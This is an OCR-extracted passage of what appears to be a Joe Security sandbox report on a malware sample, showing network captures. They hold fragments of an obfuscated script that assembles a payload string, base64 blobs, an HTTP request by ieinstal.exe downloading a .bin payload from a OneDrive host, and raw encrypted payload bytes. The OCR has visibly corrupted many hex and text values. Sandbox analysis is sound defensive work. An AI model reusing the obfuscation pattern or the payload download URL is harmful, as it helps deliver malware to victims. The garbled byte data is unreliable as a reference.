C:C3E2ACXil0225CALLCALLE2538Ma888CALL87CE23Xil02286959D7ADC:C57CMa8889E92CALLCC:CXilo22CAL
LB8872D6A2D78Xil"Nedlggel = Nedlggel & "022772Ma88D59CALLCALLCALL7AAC:CC235Ma882Ma883

Data Raw: 61 38 38 4d 61 38 38 43 58 69 6¢ 6f 32 32 45 32 45 45 38 44 43 3a 43 32 35 38 43 35 4d 61 38 38 38 43 41 4c
4c 39 42 43 3a 43 39 42 45 32 45 58 69 6¢ 6f 32 32 58 69 6¢ 6 32 32 38 32 43 41 4c 4¢ 38 42 41 42 38 58 69 6¢ 6f 32 32
4d 61 38 38 44 44 43 32 44 36 37 37 58 69 6¢ 6f 32 32 58 69 6¢ 6f 32 32 44 36 37 45 36 43 41 4c 4c 4d 61 38 38 58 69
6¢ 6f 32 32 37 37 43 36 37 43 35 39 32 36 32 37 39 43 41 4c 4c 45 4d 61 38 38 37 37 39 43 41 4c 4c 45 43 41 4c 4c 38
33 58 69 6¢ 6f 32 32 33 4d 61 38 38 35 35 4d 61 38 38 44 38 41 37 35 39 35 38 37 38 37 39 35 32 45 44 45 41 36 32 35
43 32 36 43 3a 43 43 33 44 58 69 6¢ 6f 32 32 33 43 3a 43 39 33 44 38 4d 61 38 38 43 35 41 39 39 32 45 35 43 3a 43 38
44 32 41 43 36 37 43 38 44 38 41 36 36 41 58 69 6¢ 6f 32 32 44 43 36

Data Ascii: a88Ma88CXilo22E2EE8DC:C258C5Ma888CALLIBC:CIBE2EXilo22Xil02282CALL8BAB8Xilo22Ma
88DDC2D677Xilo22Xilo22D67E6CALLMa88Xilo2277C67C5926279CALLEMa88779CALLECALL83Xilo223Ma8855
Ma88D8A75958787952EDEA625C26C:CC3DXilo223C:C93D8Ma88C5A992E5C:C8D2AC67 C8D8AG6AXiI022DC6

Data Raw: 43 3a 43 58 69 6¢ 6f 32 32 45 32 35 33 32 58 69 6¢ 6f 32 32 42 37 32 37 32 44 4d 61 38 38 4d 61 38 38 42 45
3236 41 43 41 4c 4c 4d 61 38 38 58 69 6¢ 6f 32 32 45 45 45 32 35 58 69 6¢ 6f 32 32 38 4d 61 38 38 43 3a 43 33 33 4d
61 38 38 35 37 39 58 69 6¢ 6f 32 32 39 43 3a 43 36 33 43 41 4c 4c 45 38 4d 61 38 38 43 3a 43 58 69 6¢ 6f 32 32 45 32
353342 45 43 43 58 69 6¢ 6f 32 32 4d 61 38 38 58 69 6¢ 6f 32 32 38 37 37 38 58 69 6¢ 6f 32 32 58 69 6¢ 6f 32 32 44 43
41 4c 4c 35 45 35 45 41 44 39 44 45 38 4d 61 38 38 43 3a 43 58 69 6¢ 6f 32 32 45 32 35 33 43 41 4c 4c 43324343 3a 4
3354558 69 6¢ 6f 32 32 43 45 37 43 3a 43 43 3a 43 33 45 32 35 33 45 36 37 41 32 4d 61 38 38 44 41 4d 61 38 38 44
36 45 45 4d 61 38 38 35 33 38 4d 61 38 38 43 41 32 33 4d 61 38 38 32

Data Ascii: C:CXilo22E2532Xilo22B7272DMa88Ma88BE26 ACALLMa88Xilo22EEE25Xil0228Ma88C:C33Ma88579Xilo229
C:C63CALLE8Ma88C:CXilo22E253BECCXilo22Ma88Xilo228778Xilo22Xilo22DCALLSESEADIDE8Ma88C:CXilo
22E253CALLC:CC:C5EXilo22CE7C:CC:C3E253E67A2Ma88DAMa88D6EEMa88538Ma88CA23Ma882
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Data

Data Raw: 4c 4c 32 32 44 43 3a 43 39 38 43 3a 43 58 69 6¢ 6f 32 32 36 44 32 32 43 41 4c 4c 4d 61 38 38 42 58 69 6¢ 6f
323237 33 3537 36 39 37 33 33 4d 61 38 38 35 32 4d 61 38 38 41 41 45 41 45 32 41 32 33 36 39 38 32 32 45 44 38 41
36 58 69 6¢ 6 32 32 43 3a 43 38 4d 61 38 38 43 41 4c 4c 43 41 4c 4c 35 41 41 43 32 39 43 3a 43 58 69 6¢ 6f 32 32 36
353543 3543 41 4c 4c 45 35 35 33 44 43 32 43 41 32 35 32 38 44 33 43 41 4c 4c 43 3a 43 32 39 39 45 38 43 41 4c 4c
44 44 39 41 38 33 39 35 39 36 4d 61 38 38 33 37 35 33 39 44 43 41 4c 4c 42 41 35 39 45 42 35 38 36 45 32 44 4d 61 38
38 32 36 33 41 45 38 38 44 35 38 39 38 35 43 3a 43 33 4d 61 38 38 39 41 43 41 4c 4c 35 37 36 37 33 4d 61 38 38 43 41
4c4c 4341 4c4c 394244 43 3a 43 3336394237 3341453643 3a43

Data Ascii: LL22DC:C98C:CXilo226D22CALLMa88BXilo22735769733Ma8852Ma88AAEAE2A2369822ED8AGXi
1022C:C8Ma88CALLCALL5AAC29C:CXilo22655C5CALLE5S53DC:CA2528D3CALLC:C299E8CALLDD9A839596Ma883
7539DCALLBA59EB586E2DMa88263AE88D58985C:C3Ma889ACALL57673Ma88CALLCALLIBDC:C369B73AEGC:C

Data Raw: 41 4c 4c 58 69 6¢ 6f 32 32 37 43 42 36 58 69 6¢ 6f 32 32 42 35 36 42 33 37 43 32 58 69 6¢ 6f 32 32 4d 61 38
3842 39 43 41 4c 4c 45 43 3a 43 4d 61 38 38 45 58 69 6¢ 6 32 32 41 38 58 69 6¢ 6f 32 32 39 58 69 6¢ 6f 32 32 58 69 6¢C
6f 32 32 43 41 4c 4c 58 69 6¢ 6f 32 32 43 37 58 69 6¢ 6f 32 32 43 3a 43 42 42 39 33 41 32 58 69 6¢ 6f 32 32 44 41 43 35
4d 61 38 38 32 37 58 69 6¢ 6 32 32 37 44 36 41 41 39 38 32 36 43 41 4c 4c 32 39 36 42 4d 61 38 38 35 43 36 4d 61 38
38323543 3a 43 44 43 41 4c 4c 39 43 3a 43 42 36 43 45 41 39 41 37 43 3a 43 41 37 38 36 35 42 42 35 35 58 69 6¢ 6f
32 32 36 43 3a 43 38 35 58 69 6¢ 6f 22 0d Oa 4e 65 64 6¢ 67 67 65 6¢ 20 3d 20 4e 65 64 6¢ 67 67 65 6¢ 20 26 20 22 32 3
25869 6¢ 6f 32 32 43 41 4c 4c 4d 61 38 38 4d 61 38 38 43 32 43

Data Ascii: ALLXilo227CB6Xilo22B56B37C2Xilo22Ma88B9CALLEC:CMa88EXilo22A8Xil0229Xilo22Xilo22CALLXilo2
2C7Xilo22C:CBB93A2Xilo22DAC5Ma8827 Xilo227D6AA9826 CALL296BMa885C6Ma8825C:CDCALLIC:CB6CEA9AT
C:CA7865BB55Xilo226C:C85Xilo"Nedlggel = Nedlggel & "22Xilo22CALLMa88Ma88C:C

Data Raw: 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61
38 3836 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36
334337 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37
4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38
38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61
38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36
334337 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33

Data Ascii: 863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7M
a88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma886
3C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88M
a8863C7Ma88Ma8863

Data Raw: 32 43 41 4c 4c 41 43 3a 43 43 3a 43 42 45 33 39 39 37 37 39 41 36 39 4d 61 38 38 43 41 4c 4c 41 43 3a 43
43 3243 43 41 4c 4c 42 33 42 38 39 35 35 37 41 4d 61 38 38 45 35 44 39 41 41 44 35 38 43 3a 43 37 36 58 69 6¢ 6f 32
3236 42 42 41 43 36 58 69 6¢ 6 32 32 35 37 41 4d 61 38 38 45 35 44 39 41 41 44 35 38 43 3a 43 37 36 58 69 6¢ 6f 32 3
236 4d 61 38 38 41 42 43 37 43 41 4c 4c 42 43 58 69 6¢ 6f 32 32 44 4d 61 38 38 41 4d 61 38 38 42 4d 61 38 38 37 43 36
43 3a 43 33 38 58 69 6¢ 6f 32 32 39 42 36 42 39 35 37 37 39 38 36 42 38 43 4d 61 38 38 43 3a 43 39 4d 61 38 38 36 38
3537 38 41 32 33 38 43 3a 43 45 41 4d 61 38 38 42 42 43 3a 43 38 43 3a 43 44 32 37 39 43 38 58 69 6¢ 6f 32 32 35 35
43 4d 61 38 38 35 43 41 4c 4c 45 58 69 6¢ 6f 32 32 42 41 43 37 43 41 4c

Data Ascii: 2CALLAC:CC:CBE399779A69Ma88CALLAC:CC:CCALLB3B89557AMa88E5D9AADS8C:C76Xilo226BB
AC6Xilo2257AMa88E5D9AADS8C:C76Xilo226Ma88ABC7CALLBCXilo22DMa88AMa88BMa887C6C:C38Xilo229B6B
9577986B8CMa88C:CIMa8868578A238C:CEAMa88BBC:C8C:CD279C8Xilo2255CMa885CALLEXilo22BAC7CAL

Data Raw: 43 35 43 3a 43 58 69 6¢ 6f 32 32 43 33 43 3a 43 41 35 44 38 43 3a 43 44 43 41 4c 4c 58 69 6¢ 6f 32 32 33 38
3244 43 3a 43 43 32 43 4532 44 41 42 4d 61 38 38 38 41 43 37 43 41 4c 4c 42 43 42 43 44 32 42 43 3a 43 36 37 36 36
43 3a 43 4d 61 38 38 45 36 33 38 36 33 36 37 41 43 3a 43 37 44 32 45 43 41 4c 4c 39 43 43 43 32 43 45 37 37 44 58 69
6¢ 6f 32 32 32 43 41 4c 4c 45 39 32 41 45 36 37 41 32 58 69 6¢ 6f 32 32 44 36 43 3243 334341 374341 4c4c44393
858 69 6¢ 6 32 32 43 3a 43 33 45 32 45 38 36 43 41 4c 4c 39 37 41 58 69 6¢ 6f 32 32 4d 61 38 38 43 3a 43 4d 61 38 38
58 69 6¢ 6f 32 32 42 4d 61 38 38 39 45 37 45 32 39 33 43 41 4c 4c 36 33 39 4d 61 38 38 43 41 4c 4c 41 39 58 69 6¢ 6f
323241 36 39 36 4d 61 38 38 58 69 6¢ 6f 32 32 38 4d 61 38 38 45 44

Data Ascii: C5C:CXilo22C3C:CA5D8C:CDCALLXil022382DC:CC:CE2DABMa888AC7CALLBCBCD2BC:C6766C:C
Ma88E6386367AC:C7D2ECALLICCC2CE77DXilo222CALLE92AE67A2Xil022D6C:C3CA7CALLDI8Xil022C:C3E2E8
6CALL97AXilo22Ma88C:CMa88Xilo22BMa889E7E293CALLE39Ma88CALLAIXil022A696Ma88Xil0228Ma88ED

Data Raw: 43 38 41 58 69 6¢ 6f 32 32 35 32 4d 61 38 38 33 42 42 45 32 44 38 4d 61 38 38 35 41 36 45 33 35 33 38 4d 61
38 38 33 36 43 3a 43 41 36 42 36 37 43 42 36 37 39 41 38 58 69 6¢ 6f 32 32 43 3a 43 33 45 32 33 35 42 39 38 58 69 6¢
6f 32 32 36 38 58 69 6¢ 6f 32 32 4d 61 38 38 38 35 37 42 58 69 6¢ 6f 32 32 36 36 43 41 4c 4c 33 22 0d Oa 4e 65 64 6¢ 67
67 65 6¢ 20 3d 20 4e 65 64 6¢ 67 67 65 6¢ 20 26 20 22 41 43 39 36 37 39 41 38 58 69 6¢ 6f 32 32 43 3a 43 33 45 32 32
36 4d 61 38 38 45 32 35 58 69 6¢ 6f 32 32 35 39 43 3a 43 39 43 3a 43 37 45 36 36 42 37 4d 61 38 38 42 58 69 6¢ 6f 32 3
2 4d 61 38 38 45 43 3a 43 33 35 4d 61 38 38 35 38 58 69 6¢ 6f 32 32 36 58 69 6¢ 6f 32 32 39 4d 61 38 38 38 41 37 32 32
42 45 42 44 43 41 4c 4c 36 4d 61 38 38 43 4d 61 38 38 32 33 4d 61

Data Ascii: C8AXilo2252Ma883BBE2D8Ma885A6E3538Ma8836C:CA6B67CB679A8Xilo22C:C3E235B98Xilo22
68Xilo22Ma88857BXilo2266CALL3"Nedlggel = Nedlggel & "AC9679A8Xilo22C:C3E226Ma88E25Xil02259C:CIC:C7E6
6B7Ma88BXilo22Ma88EC:C35Ma8858Xilo226Xil0229Ma888A722BEBDCALL6Ma88CMa8823Ma

Data Raw: 43 42 42 38 41 42 58 69 6¢ 6f 32 32 42 4d 61 38 38 39 43 3a 43 43 4d 61 38 38 43 3a 43 38 38 42 38 33 35 33
42 37 4d 61 38 38 45 32 33 35 44 33 43 41 35 43 41 4c 4c 42 36 38 58 69 6¢ 6f 32 32 43 3a 43 33 45 32 44 41 43 3a 43
37 58 69 6¢ 6f 32 32 43 3a 43 36 39 45 45 36 35 43 3a 43 32 45 32 35 33 4d 61 38 38 39 41 33 36 58 69 6¢ 6f 32 32 39
37 38 36 42 43 43 41 42 42 35 45 42 43 58 69 6¢ 6f 32 32 44 41 43 43 3a 43 33 43 33 58 69 6¢ 6f 32 32 44 58 69 6¢ 6f 32
32 42 36 38 39 33 58 69 6¢ 6f 32 32 44 41 43 37 43 41 4c 4c 4d 61 38 38 42 44 43 41 4c 4¢ 44 43 45 58 69 6¢ 6f 32 32 3
23343 3a43 3758 69 6¢ 6f 32 32 42 42 44 33 38 45 44 44 44 42 39 4d 61 38 38 42 36 33 41 41 43 41 4c 4c 38 4d 61 38
38 37 43 3a 43 43 41 4c 4c 39 45 44 32 58 69 6¢ 6f 32 32 39 41 33

Data Ascii: CBB8ABXilo22BMa889C:CCMa88C:C88B8353B7Ma88E235D3CA5CALLB68Xil022C:C3E2DAC:C7Xi
1022C:C69EEB5C:C2E253Ma889A36Xil0229786BCCABBSEBCXilo22DACC:C3C3Xilo22DXilo22B6893Xil022DA
C7CALLMa88BDCALLDCEXilo2223C:C7Xilo22BBD38EDDDB9Ma88B63AACALL8Ma887C:CCALLIED2Xilo229A3

Data Raw: 39 39 41 37 36 33 43 41 4c 4c 45 33 4d 61 38 38 45 43 3a 43 45 37 32 33 36 43 3a 43 38 44 4d 61 38 38 36
36 36 44 44 39 22 0d Oa 4e 65 64 6¢ 67 67 65 6¢ 20 3d 20 4e 65 64 6¢ 67 67 65 6¢ 20 26 20 22 35 38 58 69 6¢ 6f 32 32
36 32 4d 61 38 38 43 32 43 42 44 43 43 41 4c 4c 45 39 43 33 39 44 36 41 4d 61 38 38 33 4d 61 38 38 43 3a 43 39 32 36
39 44 36 39 4d 61 38 38 43 3a 43 58 69 6¢ 6f 32 32 45 32 35 33 4d 61 38 38 39 43 41 4c 4c 36 37 36 35 32 38 4d 61 38
38 43 32 43 33 36 36 41 45 33 45 41 43 41 4c 4c 36 35 45 35 35 41 37 42 58 69 6¢ 6f 32 32 45 44 32 37 36 41 37 43 41
44 45 44 35 32 35 44 42 38 42 4d 61 38 38 58 69 6¢ 6f 32 32 42 35 45 35 43 3a 43 44 44 4d 61 38 38 39 37 58 69 6¢ 6f
32 32 45 44 32 36 45 35 32 35 33 33 38 44 42 58 69 6¢ 6f 32 32 35 44 42 38

Data Ascii: 99A763CALLE3Ma88EC:CE7236C:C8DMa88666DD9"Nedlggel = Nedlggel & "58Xilo2262Ma88C:CBDCCALL
E9C39D6AMa883Ma88C:C9269D69Ma88C:CXilo22E253Ma889CALLE76528Ma88C:C366AE3EACALLBE5E55A7BXilo
22ED276A7CADED525DB8BMa88Xilo22B5E5C:CDDMa8897Xilo22ED26E525338DBXilo225DB8
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kBytes

Timestam
P transferred

2022-05-1212:17:30 UTC 219

2022-05-12 12:17:30 UTC 226

2022-05-12 12:17:30 UTC 234

Session ID Source IP
1 192.168.11.20
. kBytes
Timestam|
P transferred

2022-05-12 12:17:32 UTC 241

2022-05-12 12:17:33 UTC 241

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49760

Direction

ouT

Data

Data Raw: 42 4c 41 45 77 41 51 51 42 43 41 4c 4c 41 43 41 41 61 67 42 58 69 6¢ 6 32 32 41 48 4d 41 64 41 42 6¢ 41 48
494149 41 42 4d 61 38 38 41 47 6b 41 63 41 42 7a 41 48 4d 41 5a 51 42 75 41 43 41 41 52 41 42 4a 41 43 41 4c 4c 4d
4154774258 414543 3a4341534142424145774149414244414538415177424c4143414c4c514151
5142 4a 41 4577 41 5577 41 67 41 43 41 4c 4c 59 41 63 67 42 6b 41 47 6b 41 61 41 42 6d 41 48 51 41 5a 51 42 71 41
47 38 41 49 41 42 54 41 47 4d 61 38 38 41 59 51 42 68 41 48 4d 41 62 67 41 67 41 45 45 41 54 41 42 4c 41 45 38 41 53
414250414341 41525142 6c41484d416251427041485141614141433a434143414155674243414c
4c414551415251424e4143414c4c41414941426a41476741

Data Ascii: BLAEWAQQBCALLACAAagBXilo22AHMAJABIAHIAIABMa88AGKACABZAHMAZQBUACAARABJACALLMATwW
BXAEC:CASABBAEWAIABDAESAQWBLACALLQAQQBJAEWAUWAGACALLYAcgBKAGKAaABMAHQAZQBJAGSAIA
BTAGMa88AYQBhAHMAbgAgAEEATABLAESASABPACAARQBIAHMAbQBpPAHQAAAAC:CACAAUGBCALLAEQARQ
BNACALLAAIABJAGgA

Data Raw: 63 77 42 70 41 48 51 41 64 51 41 67 41 45 55 41 61 51 42 6a 41 47 38 41 63 77 42 68 41 44 6b 41 49 41 42
51 41 47 55 41 63 67 42 76 41 47 49 41 63 67 42 68 41 47 4d 41 4f 41 41 67 41 43 41 4c 4c 4d 41 52 51 42 4c 41 43 41
4c 4c 55 41 54 67 42 45 41 43 41 4c 4c 49 41 54 41 42 4a 41 43 41 4c Ac 51 41 49 41 42 45 41 47 55 41 62 67 42 58 69
6C 6f 32 32 41 43 41 41 44 51 41 4b 41 43 4d 41 62 51 42 6d 41 47 6b 41 61 77 42 72 41 47 55 41 62 67 42 7a 41 43 41
41 61 51 42 7541 48 51 41 5a 51 42 79 41 48 4d 41 49 41 42 57 41 47 45 41 62 41 42 6e 41 47 73 41 63 67 42 6¢ 41 47
51 41 63 77 42 6¢ 41 43 41 41 55 41 42 79 41 47 38 41 63 77 42 70 41 47 59 41 4e 41 41 67 41 47 73 41 62 41 42 6¢ 41
47 4d 61 38 38 41 63 77 42 72 41 48 49 41 64 51 41 67 41 43 41 4c 4c 51 41

Data Ascii: cwBpAHQAJQAGAEUAAQBjAGSACWBhADKAIABQAGUACGBVAGIACGBhAGMAOAAGACALLMAR
QBLACALLUATGBEACALLIATABJACALLQAIABEAGUAbgBXil022ACAADQAKACMAbQBMAGKAawBrAGUAbgB
ZACAAaQBUAHQAZQBYAHMAIABWAGEADABNAGSACIBIAGQACWBIACAAUABYAGBACWBPAGYANAAGAGSADAB
IAGMa88ACWBrAHIAIQAGACALLQA

Data Raw: 38 38 41 62 77 42 6b 41 48 49 41 5a 51 42 6e 41 47 43 3a 43 41 61 51 42 75 41 4341 41 54 51 42 4a 41 45
77 41535142 43 41 4c 4c 41 43 41 4c 4c 5541 55 77 41 67 41 43 41 4c 4c 4d 41 62 77 42 6e 41 47 63 41 5a 51 42 75
41 43 41 41 52 67 42 50 41 43 41 4c 4c 49 41 56 41 42 42 41 45 77 41 52 51 42 53 41 43 41 4c 4c 4d 41 49 41 42 6d 41
47 45 41 6251 42 73 41 47 59 41 63 67 42 70 41 47 51 41 49 41 42 45 41 47 6b 41 63 77 42 77 41 44 55 41 49 41 42 50
414841416141423241434141557742724148554162414277 4148514149 4142 6¢ 4147 43 3a434163
7742704147 514161514167 414341 4c4c4d4161774235414759416277416741454d416277427541
47 6b 41 62 67 42 6¢ 41 47 55 41 4e 67 41 67 41 43 41 4c 4c 49 41 5a 51 42

Data Ascii: 88AbwBkAHIAZQBNAGC:CAaQBUACAATQBJAEWASQBCALLACALLUAUWAGACALLMAbWBNAG
CAZQBUACAARgBPACALLIAVABBAEWARQBSACALLMAIABMAGEAbQBSAGYAcgBpAGQAIABEAGKACWBWADUA
IABPAHAAaAB2ACAAUWBrAHUAbABWAHQAIABIAGC:CAcWBpAGQAaQAgACALLMAawB5AGYAbWAGAEMAbwB
UAGKAbgBIAGUANQAQACALLIAZQB

Destination IP CEULCRI Process
Port
13.107.43.12 443 C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Data

GET /y4m1P90Kk2H-cNQxXOJImgK2HftFgWGVGMYnAecew4|QelLJRVES3Mvm9AZePLE-7ycBADDM9gjChXojaUAFvz
VY-Cy423yGwrUIC_bcoelJiYKCw2nHeJm1x3gw-2YaAOTwF9stB2Fe3l_Q9EF5DHXKtmNsHMwqvsJEU4eUPPpWM4bT
gczCUMzY-aeTL5nEBZP9w90-E6QNQgLbkLX7BveYa8g/asorem_uGQzQIB204.bin?download&psid=1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: srod3g.dm.files.1drv.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: public

Content-Length: 473664

Content-Type: application/octet-stream

Content-Location: https://srod3g.dm.files.1drv.com/y4m_w_TYZR6G948D0zxHbGIPmMcNEASICr-h7u8jiKbgtUzAGO
f6HCSyuDMew_yzc9ESYY UilQRHWZHMIN2ZOMIEfORJIVL7WiSGxrJUZj2a0AZokWtAViIOZzGxYDmGODIU
5nQv3kgUuGKiOI4PV2BgsbV5QKLIEgVhxJ_igMHzP9clEaY-8184PzwXzgkPkwzXIi

Expires: Wed, 10 Aug 2022 12:17:33 GMT

Last-Modified: Wed, 11 May 2022 23:46:21 GMT

Accept-Ranges: bytes

ETag: BGAB3B5SEAFD51867!315.2

P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"

X-MSNSERVER: DM5SCH102221802

Strict-Transport-Security: max-age=31536000; includeSubDomains

MS-CV: +p+ALtGIWUObZv/MUADpCA.0

X-SglDataOrigin: S

CTag: aYzpCNkFCMOI1IRUFGRDUXODY3ITMXNS4yNTc

X-PreAuthinfo: rv;poba;

Content-Disposition: attachment; filename="asorem_uGQzQIB204.bin"

X-Content-Type-Options: nosniff

X-StreamOrigin: X

X-AsmVersion: UNKNOWN; 19.914.505.2006

X-Cache: CONFIG_NOCACHE

X-MSEdge-Ref: Ref A: 327478CEBDD14436ACAC031798E756DC Ref B: VIEEDGE2305 Ref C: 2022-05-12T12:17:33Z
Date: Thu, 12 May 2022 12:17:32 GMT

Connection: close
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kBytes

Timestamp transferred Direction
2022-05-12 12:17:33 UTC 242 IN
2022-05-12 12:17:33 UTC 244 IN
2022-05-12 12:17:33 UTC 252 IN
2022-05-12 12:17:33 UTC 260 IN
2022-05-12 12:17:33 UTC 268 IN
2022-05-12 12:17:33 UTC 276 IN
2022-05-12 12:17:33 UTC 284 IN
2022-05-12 12:17:33 UTC 292 IN
2022-05-12 12:17:33 UTC 300 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 75 b6 ea d0 09 ef 71 d6 f8 aa ea ad 3c 85 88 9e bc fb eb 9d 30 7e 2b df db f4 3b d8 fa 6f f4 45 0a 06 7b 67 c6
29 7f 18 Ob d4 31 26 6e f3 29 e4 b7 07 da 46 5e 75 15 4c 6d 75 2d 19 1c b6 af 5d 42 54 b1 ca 36 13 48 ba 11 47 b8 b4 68
1b 12 c7 e4 8c 2d 09 7f 32 a0 09 dc 29 e5 a7 88 le 4c 6¢ cf 7f e2 bd 59 50 90 f9 a8 8d dc 1c el 3e 49 69 3a 1c 0d 6b a8
7e d4 c6 9c 9b 7a 8f 15 87 7d {7 d7 cd 40 f4 aa c9 02 b1l cf c1 86 68 5¢c 28 65 14 31 be cc ae ac 60 d7 bd bl f7 dc 7a b3
6b 3b 83 6a 71 50 12 be 95 94 af 31 bc 97 2a bf 23 ba a7 8e 66 fe 9a eb 3e 99 79 44 b8 7f 1b 01 58 77 5a e2 a6 eb 9 c3
5f c2 f8 b4 59 f7 37 70 33 ¢7 b6 a3 2b 25 d4 a8 73 64 €9 13 21 7d 97 22 7 6e fa c5 5b a6 99 5f 30 ab 31 3c 21 42 5e 22
3b 8a c6 80 4b Oc d8 88 6b 94 64 42 9e 33 d4 Oe 46 f5

Data Ascii: ug<0~+;0E{g)1&n)F uLmu-]BT6HGh-2)LIYP>li:k~z}@h\(el zk;jgP1*#f>yDXwZ_Y7p3+%sd!}"'n[_01<!B

A KkdB3F

Data Raw: fc 36 ff 51 48 ¢5 11 93 ee 1a 08 07 97 a3 a2 b8 70 04 5e 94 92 75 7d eb 68 c1 7c c9 6d 93 93 9e ed ff cb 6b 82
4a Oe c9 2f cc 11 48 e3 d6 fe 20 63 d1 e4 fa 65 51 8¢ 2d 61 6a 08 e5 09 74 e6 1c a5 88 47 8f d5 ff a7 a4 bd bl dc 9d f9
a8 e5c3 26 a4 3e al dO c3 1e 0d 32 6b 14 d4 7f 2c 4c 3c 8f e5 Oa 4e f7 d9 ba d3 c0 ef 7d e3 dd 17 7b 87 7d 52 63 31 c5
10 15 aa de 36 7b 83 cf dO f2 cf 23 97 05 bd 65 e7 53 32 2e 5d 5e 29 19 57 d5 11 4c f6 6¢ e9 ef de 33 df ff 2d 40 6d 71 60
el bc 7101 el 97 82 ac 9d 91 fe bc 05 3e 82 bf 39 4e 25 d4 32 c2 a6 5b b4 eb ac f7 90 30 22 ad e7 9a ab fb ad 92 80 6¢
a7 ed 8b e5 29 ae 21 79 5a f9 26 6f d8 46 Oe 14 b1 df dc f5 31 68 1e 6e a0 89 c7 b0 37 fO 75 15 4d ac f4 3c dc 14 ed d2
cb 40 55 1f 70 b8 da 8d f0 82 61 44 24 02 09 c3 b5

Data Ascii: 6QHp”uth|mkJ/H ceQ-ajtG&>2k,L<N}}Rc16{#eS2.]")WLI3-@mq q>9IN%2[0"l)!yZ&oF1hn7uM<@UpaD$

Data Raw: el c5 e4 eb 90 cc 81 e2 5a 05 37 8b 33 13 4f 04 63 7a 70 43 7d ce 50 Oe 47 Oc 96 e5 Ob b8 ea eb cd 2f ad 55
d7 e8 f2 60 78 06 3f a0 75 99 51 38 5b 98 22 ea 9e b6 Oc c8 17 6b 4a 6d 36 9e c0 0a b7 45 5¢c b4 96 f6 01 ab a9 d0 b4 7a
06 a8 66 d1 7b 5e el b9 52 12 93 19 a8 39 6b 35 cf 7b 0d 18 8a ab 18 2c 61 67 6a a0 01 60 a4 e3 36 44 ac 51 66 83 4a
19 5519 b6 50 26 72 43 11 90 99 65 b7 9e 5d 38 8a 07 a2 dc 9f d3 42 c¢7 d5 4a da fO ba 01 29 77 78 a7 5e a4 d7 cd e8
68 fb 2e c0 30 f9 8¢ 24 09 06 28 8d b0 13 35 dd ce 37 94 cf e9 cc c1 32 9d 7b 02 37 4b fd 71 fd dO 1e 3f b7 38 d2 49 d1
44 b1 Oc be e0 08 cf e6 24 e4 53 52 0a 4a 3f 35 7f 61 b0 fb 19 28 d8 3d 9a b0 ab c9 f8 d4 79 01 8c aa c6 14 5¢ 65 ef fa Oe
da fd 72 c2 96 59 95 f8 ab 96 9b 86 50 €3 87 3b bb 80 c3 2d

Data Ascii: Z730czpC}PG/U x?uQ8["'kIm6E\zf{"RIKk5{,agj 6DQfIUP&rCe]8BJ)wx"h.0$(572{7Kq?8ID$SRI?5a(=y\erYP;-

Data Raw: e7 c1 6f 12 f2 b4 12 10 e0 ea 1c e8 1d 82 41 25 37 4e 82 13 2e 50 5c a0 9d 5f 1b c5 5b e8 0Oa 3a af 58 Oe 9b
2afe ab 87 60 ee 1d 41 23 50 76 6d 61 f7 e2 d5 b7 99 38 8a 35 66 2e 0d f6 11 dO fe b8 64 3f 31 f5 ed f6 73 8d €5 17 b4
f2 £3 d4 07 fa 58 a4 c8 df 71 91 88 51 ef 05 05 6¢ 30 ca 93 5d d2 30 ac ce 56 5d 68 75 b1 f8 50 43 77 75 80 d9 86 82 49
61 d2 ba a4 05 d5 00 81 a2 56 €0 51 db d4 6e 9c 5f c8 45 50 €0 33 eb d3 c1 ¢3 44 f4 20 60 c0 4f e5 el fa 81 85 bd e4 30
be 5a 80 01 c6 e3 4a 6¢ 5e bd 67 6f d1 cf d4 27 05 45 a9 1f c7 6e fc cf 01 2f d6 e6 d9 c7 84 ee ea 49 80 b7 82 a8 c2 22
d8 41 dd bl af bb 2e 11 8e 1b cd 4a 19 24 96 96 8e 69 2f 35 c2 4c a7 al 46 ac 70 51 85 7d 50 4f 9f e2 b4 74 f9 9d 60 79
bc 5e bd 00 cO db 67 de d9 e7 fa 5f 04 49 0f b9 23 03 45

Data Ascii: 0A%7N.P\_[:X*"A#Pvma85f.d?1sXqQI0]0V]huPCwulavVQn_EP3D "00ZJI"go'En/I"A.J$i/SLFpQ}POt y g_I#E

Data Raw: 04 97 bd e4 1c 92 9d 35 a2 23 3b c0 f0 97 24 e3 1e 45 5f 7c 1a 20 da 54 fa 50 17 3d d0 21 87 c5 a2 7c f6 ee
9d 42 dc 79 b0 9b c5 3e 24 al 9d 8f 1d 50 34 94 26 c4 8c 2f 81 c7 cf 3d c6 4c ef ee ¢4 3c €3 ad 9b 6b 7d 15 49 89 13 b8
ca 2d d1 9b 0d b2 d1 2f 19 6f ef c3 ab f0 4c c3 cc 35 c1 a0 92 a2 61 d4 c9 el 6b fb b6 06 15 Ob 9f df 4d f2 21 6d 7a al 62
